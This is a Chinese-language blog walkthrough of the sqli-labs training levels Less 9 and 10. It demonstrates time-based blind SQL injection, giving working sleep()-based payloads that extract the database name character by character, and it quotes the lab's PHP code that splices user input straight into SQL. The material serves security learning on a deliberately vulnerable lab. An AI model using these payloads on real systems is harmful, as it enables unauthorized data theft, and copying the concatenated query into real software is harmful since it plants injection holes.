sqli-labs 通关指南:Less 9、10

Less 9 和 Less 10 都是时间盲注,主要思想是利用 IF 语句,结合 sleep() 函数制造时间差来判断注入的正确性。

Less-9#

GET-Blind-Time based-Single Quotes(基于时间的 GET 单引号盲注)

判断注入类型#

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

Copy Highlighter-hljs
?id=1


接下来注入个查不到的参数,网页还是返回 “You are in...”。

Copy Highlighter-hljs
?id=9999


注入个单引号进行闭合,网页还是返回 “You are in...”。

Copy Highlighter-hljs
?id=1'


以下 3 种注入仍然还是返回 “You are in...”,说明此时网页不会回显任何有价值的信息。

Copy Highlighter-hljs
?id=1'--+ ?id=1" ?id=1"--+


转换思路,MySql 的 sleep() 函数能够起到休眠的作用。为了方便调试这里使用 brup 的重发器,注入如下参数响应时间没有异常。

Copy Highlighter-hljs
?id=1 and sleep(1)--+


注入如下参数响应时间明显增加,并且主观上也能感受到延迟。这是明显的基于 时间盲注 的字符型 Sql 注入漏洞,我们需要使用 sleep() 函数制造时间差进行注入。

Copy Highlighter-hljs
?id=1' and sleep(1)--+

获取数据库信息#

注入流程与 Less 5 类似,不过这里的判断标准不是会显的信息,而是响应时间。MySQL 的 IF 语句允许根据表达式的某个条件或值结果来执行一组 SQL 语句,语法如下,当表达式 expr 为真时返回 value1 的值,否则返回 value2。

Copy Highlighter-hljs
IF(expr, value1, value2)

此处因为无法回显任何东西,因此 ORDER BY 子句失效。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判断,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。

Copy Highlighter-hljs
?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+


经过二分法测试,得出数据库长度为 8。

Copy Highlighter-hljs
?id=1' AND IF(LENGTH(database())=8,sleep(1),1)--+


使用 left() 函数判断数据库名的第一位是否是字符 a,注入之后响应很快说明数据库名第一位不是 a。

Copy Highlighter-hljs
?id=1' AND IF(LEFT((SELECT database()), 1)='a',sleep(1),1)--+


使用穷举法进行测试,得出数据库名的第一个字符为 “s”。

Copy Highlighter-hljs
?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+


接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。

Copy Highlighter-hljs
?id=1' AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+

关卡 SQL 查询语句#

Copy Highlighter-hljs
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }

Less-10#

GET-Blind-Time based-double quotes(基于时间的双引号盲注)

判断注入类型#

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

Copy Highlighter-hljs
?id=1


以下 5 种注入都是还是返回 “You are in...”,说明此时网页不会回显任何有价值的信息。

Copy Highlighter-hljs
?id=9999 ?id=1' ?id=1'--+ ?id=1" ?id=1"--+


为了方便调试这里使用 brup 的重发器,注入以下 2 种参数响应时间没有异常。

Copy Highlighter-hljs
?id=1 and sleep(1)--+ ?id=1' and sleep(1)--+


使用双引号闭合时,响应时间明显增加,并且主观上也能感受到延迟,这是基于 时间盲注 的字符型 Sql 注入漏洞。

Copy Highlighter-hljs
?id=1" and sleep(1)--+

获取数据库信息#

Less 10 和 Less 9 差不多,知识 Less 10使用双引号进行闭合。此处因为无法回显任何东西,因此 ORDER BY 子句失效。使用 IF 语句结合 LENGTH() 函数进行诸如,猜测数据库名长度小于 10 时响应时间超过 1 秒。

Copy Highlighter-hljs
?id=1" AND IF(LENGTH(database())<10,sleep(1),1)--+


经过二分法测试,得出数据库长度为 8。

Copy Highlighter-hljs
?id=1" AND IF(LENGTH(database())=8,sleep(1),1)--+

获取数据库名时,使用 LEFT() 函数进行穷举法的效率较低,使用 substr() 函数结合 ASCII() 函数进行判断可以使用二分法快速缩小范围。

Copy Highlighter-hljs
?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))>109,sleep(1),1)--+


使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。

Copy Highlighter-hljs
?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))=115,sleep(1),1)--+


使用相同方法依次得出剩下的字符 ASCII 码值,连接在一起就是数据库名。

Copy Highlighter-hljs
?id=1" AND IF(ASCII(SUBSTR((SELECT database()),2,1))=102,sleep(1),1)--+

关卡 SQL 查询语句#

Copy Highlighter-hljs
$id = '"'.$id.'"'; $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }
posted @   乌漆WhiteMoon  阅读(1405)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示
CONTENTS